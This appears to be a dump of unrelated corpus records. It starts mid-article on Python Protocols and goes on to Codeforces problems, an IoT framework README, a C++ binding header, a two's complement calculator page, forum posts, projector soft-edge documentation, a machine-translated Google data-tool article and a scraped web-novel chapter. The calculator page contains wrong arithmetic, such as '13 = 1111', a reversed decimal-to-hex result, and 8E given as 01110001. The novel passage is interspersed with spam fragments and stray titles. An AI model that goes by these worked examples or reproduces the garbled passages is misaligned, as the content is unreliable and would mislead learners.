notation. Now, let us apply changes to the\nWe removed all links to the parent class here – we do not need them anymore. Thanks to the use of Protocol in\nAnimal, we reduced import dependency in new classes. It also means that any changes to them will not instantaneously raise warnings or errors. This is due to the fact that neither\nCat is directly linked to the\nAnimal class anymore, loosening the coupling as well as making them much more independent and flexible. We will show how this would affect our application in a moment.\nFor the other files, we do not need to change any of the code we had before, external function and service class will still require\nAnimal instance as an input. The execution method and its result will also not change at all.\nThe real difference emerges when we remove one of the methods in\nCat classes, same as we did before, and run the code. The result is presented below:\nThis time our code did not crash on instantiating an object but on executing a not implemented method of the\nAnimal Protocol. It shows a very important conclusion for the use of Protocols – their main focus is. Thanks to the duck typing mechanism, we are able to instantiate the object without an error, while being focused on using an instance.\nThis example has shown that Protocols provide us with a defined interface to other parts of the program that may require it in some way. The solution is not only simple and elegant but also beneficial as we were able to easily reduce coupling between different parts of code. But the real advantage of using them will be discovered in a few extra steps.\nThere is room for further improvement in our code. One of the problems that was raised before was not adjusting the input interface for a specific function. This issue might be solved by providing dedicated Protocols as interfaces.\nLet us show an example of the\nfeeding_time() function. The truth is that all this function needs as an input is an object that implements the\nfeed() method, the rest is irrelevant. Here lies the true beauty of using Protocols, as we may prepare a specified interface just for this function. Let us create new Protocol class:\nNow, let us use it in\nAlthough the change is not spectacular, it gives a very interesting result: the application execution is the same. It also successfully limited the interface use and definition in the application. What we have just implemented suits very nicely into the “Interface Segregation” rule, known in SOLID principles, stating that no part of the application should depend on methods it does not require. All in all, Protocol usage will result in elegant, well organized code.\nObviously, there are situations where Protocol implementation might not be our first choice, especially when the operation of our service focuses on instance creation. The flexibility that Protocols provide is based on Python’s dynamic typing, meaning that types are checked in the runtime. Therefore, we lose straightforward information from the inheritance that our subclass does not implement all necessary methods. This might be crucial when instantiating the objects plays a very important role in our application.\nAlso, no inheritance means no class hierarchy. When we see a subclass inheriting from its parent, it is much easier to determine the structure and purpose of its use, making it a good source of design documentation. With Protocols, we do not have such easy and clear options since any subclass is basically a stand-alone entity, identified as an appropriate input only at a runtime (although modern IDEs provide tools to statically check the types before code execution).\nThe “Home Zoo” example obviously could be extended, providing new functions or services that will all require a specific input. Right now it seems intuitive that each one of them might have its own dedicated Protocol, the only requirement we would need are the classes that implement methods defined within the interface.\nTo summarize, Protocols seem very similar to Abstract Base Classes, they have different uses in terms of application design, though. They handle dependency problems differently – while ABCs, depending on class hierarchy, focus on instance creation, Protocols are dedicated for instance usage thanks to the duck typing mechanism. The capability to split interfaces in order to fit a specific part of the application cannot be overestimated and even though it is achievable using multiple inheritance, with Protocols it seems much more natural and elegant. Last but not least, most modern Python IDEs support use of Protocols by checking the implementation of the required functions, allowing easy and organized application designing.\n- Protocols are an intuitive alternative to ABCs.\n- They reduce coupling and dependencies in code.\n- They create an adjustable interface for each functionality.\n- No class hierarchy requires more careful usage and less explicit code documentation.\n- When the main goal is instance creation – ABCs are still a better and safer choice.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2147, "token_count_with_eod": 2148, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Since Boboniu finished building his Jianghu, he has been doing Kungfu on these mountains every day.\n\nBoboniu designs a map for his $$$n$$$ mountains. He uses $$$n-1$$$ roads to connect all $$$n$$$ mountains. Every pair of mountains is connected via roads.\n\nFor the $$$i$$$-th mountain, Boboniu estimated the tiredness of doing Kungfu on the top of it as $$$t_i$$$. He also estimated the height of each mountain as $$$h_i$$$.\n\nA path is a sequence of mountains $$$M$$$ such that for each $$$i$$$ ($$$1 \\le i < |M|$$$), there exists a road between $$$M_i$$$ and $$$M_{i+1}$$$. Boboniu would regard the path as a challenge if for each $$$i$$$ ($$$1\\le i<|M|$$$), $$$h_{M_i}\\le h_{M_{i+1}}$$$.\n\nBoboniu wants to divide all $$$n-1$$$ roads into several challenges. Note that each road must appear in exactly one challenge, but a mountain may appear in several challenges.\n\nBoboniu wants to minimize the total tiredness to do all the challenges. The tiredness of a challenge $$$M$$$ is the sum of tiredness of all mountains in it, i.e. $$$\\sum_{i=1}^{|M|}t_{M_i}$$$.\n\nHe asked you to find the minimum total tiredness. As a reward for your work, you'll become a guardian in his Jianghu.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This framework has been renamed to ThingFlow. The latest repo is at https://github.com/mpi-sws-rse/thingflow-python. Please go there.\nAnt Events is a (Python3) framework for building IOT event processing dataflows. The goal of this framework is to support the creation of robust IoT systems from reusable components. These systems must account for noisy/missing sensor data, distributed computation, and the need for local (near the data source) processing.\nThe fundamental abstractions in Ant Events are event streams, which are push-based sequences of sensor data readings, and elements, which are reusable components to generate, transform, or consume the events on these streams. Elements can have simple, stateless logic (e.g. filter events based on a predicate) or implement more complex, stateful algorithms, such as Kalman filters or machine learning. Ant Events integrates with standard Python data analytics frameworks, including NumPy, Pandas, and scikit-learn. This allows dataflows involving complex elements to be developed and refined offline and then deployed in an IoT environment using the same code base.\nAnt Events primarily uses an event-driven programming model, building on\nasyncio module. In addition to being a natural programming model for\nrealtime sensor data, it reduces the potential resource consumption of Ant\nEvents programs. The details of event scheduling are handled by the framework.\nSeparate threads may be used on the \"edges\" of a dataflow, where elements\nfrequently interact with external components that have blocking APIs.\nTo give the flavor of Ant Events, below is a short code snippet for the Raspberry Pi that reads a light sensor and then turns on an LED if the running average of the last five readings is greater than some threshold:\nlux = LuxSensor() lux.select(lambda e: e.val).running_avg(5)\\ .select(lambda v: v > THRESHOLD).GpioPinOut()\nThe first line creates an element representing sensor object and the second line\ncreates a pipeline of elements to process the data from the element. The\nselect element extracts the data value from the sensor event, the\nrunning_avg element averages the values, the next\nselect element converts\nthe value to a a boolean based on the threshold, and the\nturns on the LED based on the value of the boolean.\nAnt Events does not have any required external dependendencies, so, in theory at least, it can be run just about anywhere you can run Python 3. It has been tested on the Raspberry Pi (Rasbian distribution), Desktop Linux, and MacOSX. In a desktop environment, you might find the Anaconda Python distribution helpful, as it comes with many data analytics tools (e.g. Jupyter, NumPy, Pandas, and scikit-learn) pre-installed.\nAnt Events has been ported to Micropython, so that it can run on very small\ndevices, like the ESP8266. Since these devices have stringent memory\nrequirements, the code base has been stripped down to a core for the\nMicropython port. The port is in this repository under the\nInstalling Ant Events\nWe recommend installing into a\nvirtualenv rather than directly into the\nsystem's Python. To install, first run the\nactivate script of your chosen\nvirtual environment, and go to the\nantevents-python directory. Then run:\npython3 setup.py install\nIn the future, we will have support for installing from the Python Package Index, PyPi.\nYou can also run the Ant Events code in-place from the git repository by adding\nthe full path to the\nantevents-python directory to your\nis how the tests and the examples are run.\nThe layout of the files in the Ant Events code repository (the\ndirectory) is as follows:\nREADME.RST- this file, top level documentation\nMakefile- builds the source distribution and documentation; can run the tests\nsetup.py- used to install the core code into a python environment\nantevents/- the core code. This is all that will get installed in a production system\nantevents/base.py- the core definitions and base classes of antevents\nantevents/adapters- reader and writer elements that talk to the outside world\nantevents/linq- elements for filter pipelines, in the style of Microsoft's Linq framework\ndocs/- documentation, in restructured text (.rst) format.\ntests/- the tests. These can be run in-place.\nexamples/- examples and other documentation.\nexamples/notebooks- examples that use Jupyter\nmicropython/- port of Ant Events core to Micropython\nTo learn more about AntEvents, look at the\ndocs/ subdirectory. In\ntutorial.rst is a good starting point.\nThere is a separate repository with larger AntEvents examples. It is at https://github.com/mpi-sws-rse/antevents-examples.\nThe architecture was heavily influenced by Microsoft's Rx (Reactive Extensions) framework and the Click modular router. We started by trying to simplfy Rx for the IoT case and remove some of the .NETisms. A key addition was the support for multiple topics, which makes more complex dataflows possible.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1073, "token_count_with_eod": 1074, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Queen of England has n trees growing in a row in her garden. At that, the i-th (1 ≤ i ≤ n) tree from the left has height ai meters. Today the Queen decided to update the scenery of her garden. She wants the trees' heights to meet the condition: for all i (1 ≤ i < n), ai + 1 - ai = k, where k is the number the Queen chose.\n\nUnfortunately, the royal gardener is not a machine and he cannot fulfill the desire of the Queen instantly! In one minute, the gardener can either decrease the height of a tree to any positive integer height or increase the height of a tree to any positive integer height. How should the royal gardener act to fulfill a whim of Her Majesty in the minimum number of minutes?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/**\n * Copyright (c) 2020 Neka-Nat\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n**/\n#pragma once\n\n#include \"cupoch/geometry/boundingvolume.h\"\n#include \"cupoch/geometry/geometry.h\"\n#include \"cupoch/geometry/geometry_base.h\"\n#include \"cupoch/geometry/trianglemesh.h\"\n#include \"cupoch_pybind/cupoch_pybind.h\"\n#include \"cupoch_pybind/geometry/geometry.h\"\n\nusing namespace cupoch;\n\ntemplate <class GeometryT = geometry::Geometry>\nclass PyGeometry : public GeometryT {\npublic:\n    using GeometryT::GeometryT;\n    GeometryT& Clear() override {\n        PYBIND11_OVERLOAD_PURE(GeometryT&, GeometryT, );\n    }\n    bool IsEmpty() const override { PYBIND11_OVERLOAD_PURE(bool, GeometryT, ); }\n};\n\ntemplate <class Geometry3DBase = geometry::GeometryBase<3>>\nclass PyGeometry3D : public PyGeometry<Geometry3DBase> {\npublic:\n    using PyGeometry<Geometry3DBase>::PyGeometry;\n    Eigen::Vector3f GetMinBound() const override {\n        PYBIND11_OVERLOAD_PURE(Eigen::Vector3f, Geometry3DBase, );\n    }\n    Eigen::Vector3f GetMaxBound() const override {\n        PYBIND11_OVERLOAD_PURE(Eigen::Vector3f, Geometry3DBase, );\n    }\n    Eigen::Vector3f GetCenter() const override {\n        PYBIND11_OVERLOAD_PURE(Eigen::Vector3f, Geometry3DBase, );\n    }\n    geometry::AxisAlignedBoundingBox GetAxisAlignedBoundingBox()\n            const override {\n        PYBIND11_OVERLOAD_PURE(geometry::AxisAlignedBoundingBox,\n                               Geometry3DBase, );\n    }\n    Geometry3DBase& Transform(const Eigen::Matrix4f& transformation) override {\n        PYBIND11_OVERLOAD_PURE(Geometry3DBase&, Geometry3DBase, transformation);\n    }\n};\n\ntemplate <class Geometry2DBase = geometry::GeometryBase<2>>\nclass PyGeometry2D : public PyGeometry<Geometry2DBase> {\npublic:\n    using PyGeometry<Geometry2DBase>::PyGeometry;\n    Eigen::Vector2f GetMinBound() const override {\n        PYBIND11_OVERLOAD_PURE(Eigen::Vector2f, Geometry2DBase, );\n    }\n    Eigen::Vector2f GetMaxBound() const override {\n        PYBIND11_OVERLOAD_PURE(Eigen::Vector2f, Geometry2DBase, );\n    }\n};", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "We always struggled to serve you with the best online calculations, thus, there's a humble request to either disable the AD blocker or go with premium plans to use the AD-Free version for calculators.\nDisable your Adblocker and refresh your web page 😊\nTable of Content\n|1||What Is A Board Foot In Lumber (BF)?|\n|2||Board Foot Formula:|\n|3||Board Foot Units:|\n|5||How To Calculate Board Feet?|\n|6||What do you mean by the term “Surface Measure”?|\n|7||What is meant by nominal measurement?|\n|8||How do you define lineal measurement?|\nAn online two’s complement calculator allows you to calculate 2’s complement of the given decimal, binary or hexadecimal number. No doubt, number conversion is complicated to express but the 2s complement calculator changes the entered number into one’s complement, two’s complement, signed binary to decimal, and hexadecimal. The twos complement converter can convert numbers with 4-bit, 8-bit, 12-bit, and 16-bit representations, and add custom representations for the binary conversion.\nThere is a simple mathematical operation on different binary numbers and used in computing as the method of signed number representation. To get 2’s complement of a binary system, just transpose the certain number and add one to the LSB (Least Significant Bit) of given results.\nFor instance, to convert decimal to 2’s complement, we have a number (20)10 which is equal to (0001 0100)2. Now convert 1 to 0 and 0 to 1, so number is 1110 1011 and add 1 in one’s complement to get two’s 1110 1011 +1 = 1110 1100.\nWell, it doesn’t matter whether you have decimal or hexadecimal numbers, an online two’s complement converter allows you to convert any number into binary number as well as apply the mathematical operation.\nWhen it comes to two’s complement calculations, our 2s complement calculator helps you to perform different conversions. Let’s take a look to get a better understanding:\nTo get a 1s complement of any decimal number, the converter changes the given decimal or hexadecimal number into binary form and simply inverts the number.\nElaborate 1’s complement of 80.\n(80)10 = (0101 0000)2\nNow, invert the number\n(0101 0000)2 = 1010 1111\nTo convert decimal to 2’s complement, you just enter a number as an input, the twos complement calculator converts the entered value into a binary system, then apply the 1s complement operation on it and add 1 to the LSB of the given result.\nFind 2s complement of 80.\n(80)10 = (0101 0000)2\nBy applying 1’s complement operation\n(0101 0000)2 = 1010 1111\nSo, add 1 to the least significant bit\n1010 1111 + 1 = 1011 0000\nThere are many direct or indirect methods to convert any signed decimal to binary number. But 2’s complement calculator takes the input from a user and changes it into a binary number by using a decimal to binary formula.\nHowever, An Online Binary Calculator allows you to do arithmetic operations on two binary numbers as well as with 8, 10 & 16 base numbers.\nConvert 112 into a binary number.\nFirst perform short division by 2 with a reminder.\n|112 ÷ 2 = 56||0|\n|56 ÷ 2 = 28||0|\n|28 ÷ 2 = 14||0|\n|14 ÷ 2 = 7||0|\n|7 ÷ 2 = 3||1|\n|3 ÷ 2 = 1||1|\n|1 ÷ 2 = 0||1|\nNow, write a reminder in reverse order (bottom to top), this will be 1110000 which is equal to decimal integer 112.\nTo convert a decimal number to hexadecimal you need to divide the number by 16 and write down the remainder in hexadecimal, divide the result again and again by 16 until the result is 0. Now, the hex value is a sequence of reminders from bottom to top. Moreover, by using a two’s complement calculator you can make these calculations in a very efficient way.\nConvert 256 decimal to hex.\n|Division||Results||Remainder in hex|\n|256 / 16||16||0|\n|16 / 16||1||0|\n|1 / 16||0||1|\nNow the answer is (256)16 = (100)10\nTo convert the binary numbers into 1’s complement, you need to enter a binary, decimal, or hexadecimal number as an input, then an online calculator simply changes that value in the binary form then inverts the given number.\nFind the 1s complement of 1110 0000.\nThe binary number is (1110 0000)2 and apply this mathematical operation.\n(1110 0000)2 = 0001 1111\nThe 2s complement converter will convert the binary number into 2’s complement and transpose the binary number as well as add 1 to the LSB of the given result.\nFind the 2s complement of 1110 0000.\nNow, the binary number is (1110 0000)2, and inverts the number\n(1110 0000)2 = 0001 1111\nSo time to add 1 to the LSB of this result\n0001 1111 + 1 = 0010 0000\nIn order to turn a binary number into a decimal number, each bit is a power of 2. This means every binary number has a power of 2 with the rightmost position of 2^0.\nFind the decimal number of a binary number (1010)_2?\nThe binary (1010)_2 can be written as follows:\n(1 * 2^3) + (0 * 2^2) + (1 * 2^1) + (0 * 2^0)\n8 + 0 + 2 + 0 = 10\nSo, the decimal number of (1010)_2 is 10.\nTwo’s complement calculator convert signed binary to hex, you need to remember each hexadecimal number represents four binary digits and makes the group in sets of four. In such cases don’t have enough digits to make up the set of 4 digits, then add extra 0’s to make a group.\nThis online calculator can do all these calculations instantly by using the standard formula of convert numbers from binary to hexadecimal. Furthermore, the Rounding Calculator allows you to round numbers up or down to nearest ones, tenths, hundredths, thousandths, ten thousand, hundred thousand.\nConvert (10001110)_2 to (8E)_16.\nfirstly, convert 8 bit binary into groups of (1000) and (1110) into hexadecimal.\nSo, 8E is equal to 10001110.\nIn order to convert a hexadecimal number into one’s complement, the 1s complement calculator first changes the hex number into a binary number and transposes the given result.\nFor instance, 8E is equal to 10001110, then apply the 1’s complement operation on it by inverting the binary number. So the one’s complement of 8E is 01110001.\nThe 2’s complement calculator takes the 1s complement of hexadecimal number and adds 1 into the given results. If the one’s complement of 8E is 01110001 then our calculator adds 1’s in this number, so the 2s complement of 01110001 is equal to 01110010.\nIf you need to convert hexadecimal numbers into binary, 2’s complement converter will convert letter values of hexadecimal(0, …,9, A, …, F) into their decimal equivalents and change them into the power of two (8, 4, 2, or 1). Furthermore, write down 1 below the power of two that are used and write 0 that is not used.\nThe online hexadecimal two’s complement converter will convert a hex number into binary or octal, then it converts into a decimal number. If the hex number is 8E and its binary number is 01110001 then an online calculator changes this number into decimal which is 142.\nAdding 2s complement is very easy. It’s just like the addition of the ordinary binary numbers. The only difference here is that you deal with two’s complement form of the binary numbers. Moreover, you can also use our best two’s complement addition calculator for adding twos complement in a fragment of seconds.\nLet us resolve a couple of examples to represent the addition as follows:\nExample # 01:\nAdd the following binary two’s complements:\nHere we have:\n(1010100)_2 + (0010100)_2\nThe free 2s complement addition calculator also goes for displaying the same answer but in seconds that saves you a lot of time.\nExample # 02:\nConvert 13 and 12 to their equivalent two’s complements and add them.\nFirst of all, we will determine the binary form of the given numbers:\n13 = 1111\n12 = 1100\nComputing 1’s complement:\n13 = 1111 = 0000\n12 = 1100 = 0011\nComputing 2’s complement:\n(0000) + 1\n(0011) + 1\nAdding 2s complements:\n(0001) + (1100)\nIn case you feel a hurdle during calculations, let this free 2’s complement addition calculator fade them away for you.\nSubtracting two’s complement is reciprocal to that of addition. All you need to follow is the ordinary binary subtraction rules. The free 2s complement subtraction calculator also follows the rules to perform subtraction of two’s complements.\nGet through the example below to understand how the 2’s complement subtraction is carried out.\nExample # 01:\nSubtract the following two’s complements:\nHere we have:\n(10111) – (10000)\nWhich is our required answer that could also be cross-checked by using our best two’s complement subtraction calculator.\nThe 2’s complement calculator works as follows to find the 2s complement of entered values, add, or subtract them. Let’s take a look at its working!\nThis 2s complement calculator displays the following results:\nThe free two’s complement addition calculator performs:\nThe number system is a technique which used to work and represent numbers is called a number system. Some most common number systems are binary, decimal, octal, and hexadecimal, etc.\nIn signed notation or Two’s complement representation, the first bit of number tells about the sign. If a number with a leading 1 shows negative while leading 0 denotes a positive value. So, in 8-bit, we can write any number from negative 128 to positive 127.\nFor conversion of signed binary to decimal is simple, but multiply -1 with the leading digit instead of 1. For instance,\nDecimal = – 1*2^7 + 0*2^6 + 1*2^5 + 1*2^4 + 1*2^3+ 0*2^2 + 1*2^1 + 1*2^0\nDecimal = – 128 + 32 + 16 + 8 + 2 + 1 = -69\nThe result of subtracting the given numbers is -1100 that could also be verified by using 2s complement subtraction calculator.\nHence, two’s complement calculator makes all complement-related calculations just handy. Find the 2s complement of any number manually is a very difficult task because it needs many conversions to get accurate results. So, it’s a great platform for K-12 educators and professionals to learn and apply the examples for learning different types of conversions in the number system.\nFrom the source of Wikipedia: Converting from two’s complement representation, From the ones’ complement, Working from LSB towards MSB.\nFrom the source of Tutorials Point: 2’s Complement of a Binary Number, Uses of 2’s Complement Binary Numbers, Range of Numbers.\nFrom the source of Cornell: Conversion from Two’s Complement, Arithmetic with Two’s Complement, Why Inversion and Adding One Works.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are n cities located along the one-way road. Cities are numbered from 1 to n in the direction of the road.\n\nThe i-th city had produced pi units of goods. No more than si units of goods can be sold in the i-th city.\n\nFor each pair of cities i and j such that 1 ≤ i < j ≤ n you can no more than once transport no more than c units of goods from the city i to the city j. Note that goods can only be transported from a city with a lesser index to the city with a larger index. You can transport goods between cities in any order.\n\nDetermine the maximum number of produced goods that can be sold in total in all the cities after a sequence of transportations.", "source": "cpt_codeforces", "language": "en", "token_count": 154, "token_count_with_eod": 155, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You hold the interesting details for yourself. Is this a a wireless mouse/keyboard combination, or a standard wired mouse with a standard wired keyboard? Standard, there's not a single common factor between the two.\nIt looks like hardware, but please tell more.\nI keep losing control of my mouse--the red light just turns off completely and does not respond to movement at all. A few minutes after that I lose control of my keyboard too--the lights turn off and it does not respond. Usually when I notice the mouse is out I'll restart using the keyboard before it dies too. When I reboot everything starts as normal, but it continually does this. I'm not sure if this is a hardware thing or not, but any advice would be appreciated. =)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The objective here is to show the process to create soft edges inside a video projector output.\nGo inside any\nThis section describes how to configure Smode processors in order to configure your output(s) and also make some nice and smooth stage pre-visualisations\nof your project, either one embedded inside a\nVirtual video projectors of Smode stage, used for real life mapping, usually directly connected to the Outputs\nor a standalone processor, like we did in the\nCreate a single display project with a Warped output\nObjective : Create a project with a single content map and a single output\nNow all you have to do is to add a\nDefine a 2D Mask applicable on any 2D Renderer or 2D Modifier\non the processor and go inside the mask parameters add a feather to one of it's edges. Any masks can be used to create a soft edge, either a placement, radial or a polygonal maks. But usually we use a simple\nSolid mask that has a 2D Placement\nInside the feather parameters of the mask you'll see an \"exponent\" value, try to change that parameter to create nicer soft edges, depending on the context.\nHere is a soft edge added over the Processor of a video Projector:\nHere is a soft edge added over a composition set with a\nPlacement defined by a quad using perspective interpolation\ninside the Processor of a video Projector. As you see, if the Mask is put on the perspective composition, soft edges will follow the warp.\nNow if you have many VP inside your stage simulation, you can go in Simulation mode and lock the view to simulate the soft edges:\nNote that you can also use the\nAdd inner and outer soft-edges\neffect to create soft edges. The interest of this is that you can create soft edges with color so it can help you see exactly what you are doing.\nIf you use vioso, go check this topic:\nCreate a Multi Video-projectors dome with a Vioso calibration\nBuild a 6 Video-projectors dome setup with Vioso calibration file (www.vioso.com)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 434, "token_count_with_eod": 435, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We need a toolbar for our site that will have a search box, drop down menu. We would like it to be an auto install toolbar. The more complicated part of this project is we need a replicating toolbar for our affialtes. we want to give our affilates toolbars to distribute. so we will need some system that will allow us to add in the affilates code and then create them a toolbar for them to distribute. i dont know how to achomplish this. please if you have a solution or questions ask on the PMB.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "New Year is coming, and Jaehyun decided to read many books during 2015, unlike this year. He has n books numbered by integers from 1 to n. The weight of the i-th (1 ≤ i ≤ n) book is wi.\n\nAs Jaehyun's house is not large enough to have a bookshelf, he keeps the n books by stacking them vertically. When he wants to read a certain book x, he follows the steps described below.\n\n1. He lifts all the books above book x.\n2. He pushes book x out of the stack.\n3. He puts down the lifted books without changing their order.\n4. After reading book x, he puts book x on the top of the stack.\n\nHe decided to read books for m days. In the j-th (1 ≤ j ≤ m) day, he will read the book that is numbered with integer bj (1 ≤ bj ≤ n). To read the book, he has to use the process described in the paragraph above. It is possible that he decides to re-read the same book several times.\n\nAfter making this plan, he realized that the total weight of books he should lift during m days would be too heavy. So, he decided to change the order of the stacked books before the New Year comes, and minimize the total weight. You may assume that books can be stacked in any possible order. Note that book that he is going to read on certain step isn't considered as lifted on that step. Can you help him?", "source": "cpt_codeforces", "language": "en", "token_count": 317, "token_count_with_eod": 318, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I found a thread a while back about a person who either made a replica or got a hold of a casting of the Doctor Doom mask used in the production of The Fantastic Four (1994). I recently went to revisit the thread only to find a page that said it could not find the thread I was looking for. I then searched google images hoping to find a picture from the thread, and finally! I had found it, only to be greeted by the same error screen. I was able to get the url of one of the images, I'll paste it here: https://www.therpf.com/forums/threads/doomed-roger-corman-dr-doom-mask-1994-ready.243400/page-6 all help is appreciated, I hope it's possible to locate it somehow, I very much would like to get my hands on a casting of it for myself.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Google Monday released a product called \"Open Data Browser\" (Public Data Explorer) search tools to official data, some of the common search requests for the production of charts, visual form to reflect a more intuitive search results.\n\"Open Data Browser\" by Google and the World Bank and other statistical agencies to launch, in the google labs intuitive class data chart. The search tool provides schools, population, crime, and even building data charts to help users understand some trend information.\nMeanwhile, according to analysis of the data search, google search also announced the highest number of public data information, which compared the school and the unemployment rate as the most frequently searched for information on public data, followed by the demographic, business and salaries and other sharp . This information can be carried out by mobile chart shows data changes over time.\nAnd google to launch the \"Open Data Browser\" The search tools include the World Bank, the United States Bureau of Labor Statistics, U.S. Census Bureau, the Organization for Economic Cooperation and Development, California Department of Education, the European Bureau of Statistics, the U.S. Centers for Disease Control and U.S. Bureau of Economic Analysis.\nAs a member of Google Labs, Google Public Data Explror can bring their own tools for a variety of charts and maps to help people make use of the 80 public data sources and statistical surveys, such as embedded below the statistics show that in the past 47 years countries with economies in most of the average life expectancy and the number of births per woman. Through the scroll bar you can see the data in the annual process of change in a very practical and intuitive. These charts are generated from Google acquired Gapminder Foundation year's Trendalyzer technology, then Google will these technologies into a Google Spreadsheets to Motion Chart and Visualization API in.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 366, "token_count_with_eod": 367, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Novel–The Legendary Mechanic–The Legendary Mechanic\nChapter 1266 Travelling Feidin icicle cagey\nThe Makers of Canada: Bishop Laval\nSince he spoke, Han Xiao smiled inside of a praising way.\nAfter recording these a.s.sailants, he had dug within the impressive cleverness by interrogation and looking at of memories. Every one of the Calamity Grades that attacked Kevin were definitely working on requests along with quietly operated the galactic pirates that had been wandering around close by, patiently waiting to intercept Kevin.\nIn earlier times, since he was concered about the possibility of a rapid loss of Karlot as a result of remarkable modifications in the plot, he failed to insist upon poaching him. Having said that, ever since somebody was focusing the Beyond Level A seed products, they could not pin the blame on him for accomplishing t.i.t for tat.\nHan Xiao rubbed his brows, his thoughts wandering before he suddenly considered some thing.\nEasygoing Atelier Life ~May And The Fluffy Miniature Garden~\nHan Xiao nodded. “That’s proper. Companies that have the motivation and the expertise to do this are few and far somewhere between. The Very Legend Cl.you.s.ter Alliance is likewise suspicious.”\nPrimarily, Karlot was required to become the pillar of the dynasty, the good news is that they had commenced this fiasco, they ought to not blame him for this!\nFundamental Reward: 8 billion Encounter, +20 Favorability of rescued targets, 2 Randomly Incentives, 1 Blank Personality Summon Charge card.\nAs he spoke, Han Xiao smiled inside a praising manner.\n“Even so, whenever we don’t cease this, the seed products will suffer wonderful casualties, which is certainly not favorable in our hiring of new Beyond Level As. Then why not this? Don’t they wish to sign up for the various Beyond Quality A agencies? We’ll check with those businesses to privately deliver folks to shield and escort them. This is certainly rationalized in identify.”\nFeidin demonstrated a powerless term. He experienced already reconciled to the point that he was obviously a application to get used.\n“Oh? You’re praoclaiming that someone is seeking over the Beyond Class A seeds?”\nThere had been no Beyond Class A a.s.sociation within his earlier daily life, and Sanctum Revival was stored under wraps, therefore the Beyond Standard A plant seeds were definitely not intercepted. This was the first time Han Xiao got came across this type of situation, not knowing what the three Universal Cultures would even do.\n“The 3 Worldwide Societies have quite the solid response to this. Having the capacity to coexist in harmony is usually a tube dream… Anyhow, the variation enhance went on for almost fifty years, therefore, the players ought to be lower back soon. I’m worried designed to bring about another explosion.”\n“You’ve received a great worth this point. While not your notice, we might had to wait till many seeds journeyed lacking before we recognized a little something was incorrect. My final decision to possess you choose to go as well as Aurora had been a great move!”\n“Also, the three Worldwide Societies ended up clear they had missing the monopoly selling point of experiencing Greatest Understanding. The a.s.sociation can give whatever they can offer, and also the inclusion in the Sanctum Revival, it will likely be complicated so that they can entice new abilities. On the other hand, the a.s.sociation did not even require any advertis.e.m.e.nt to attract new talents. Once they do nothing, the problem will surely get worse, so as opposed to resting and seeing, it’s better to deliver these Loss of life Fighters to kill folks and ruin whatever they can’t get.\nHe felt that Feidin was the ideal intelligence official. Plenty of people obtained to locate points, however it was the exact contrary for Feidin. Even if he were definitely simply to lie down every day, he would still have the capacity to run into key intelligence, as if it was an automated method for him.\n“Passing away fighters without any history? For you to teach up eight Calamity Levels as Loss of life fighters from an early time, this really is no compact organization. The idea teaching should really be a kind of brainwas.h.i.+ng that could have a long term effects on the Calamity Grades. This should actually be engineering at or over the Celebrity Cl.u.s.ter degree.”\nVision Purpose: Make an effort to prevent the shopping in the Beyond Grade A plant seeds.\nHan Xiao’s brows rose. “To imagine you’re inserting a great deal benefits during this matter. It appears as though you also know the symptom in this.”\nAs inferred, there had been a very high likelihood that there existed a few hunter group. At present, there are lots of Beyond Class A seed products rus.h.i.+ng to the Flickering Planet from each Celebrity Niche, so that the orchestrators behind the curtain had been very likely to deploy interception troops. These Beyond Grade A seed products would be in peril, as not all of them could be so blessed to move in to the best milkmaid of your universe.\n“Privately dispersing it on the seeds is sufficient. This reports must not be distributed over a big scale… When we uncover it now, the most joyful will be the Awesome Celebrity Cl.you.s.ter Alliance. I don’t would like to rip off all pretenses while using three Standard Civilizations, neither do I wish to be utilized as a weapon from the Awesome Superstar Cl.u.s.ter Alliance. Let’s concentrate on coverage 1st. For now, we are going to stay away from clash whenever possible.”\n“The three Standard Cultures have quite the strong reaction to this. Having the capacity to coexist in equilibrium is usually a tubing dream… Anyhow, the type up-date went on for up to fifty years, hence the people should be backside quickly. I’m hesitant that may induce another blast.”\nHan Xiao closed up the screen. The amount of this intention had not been ample to inspire him anymore. Nowadays, he compensated even more awareness to the challenge by 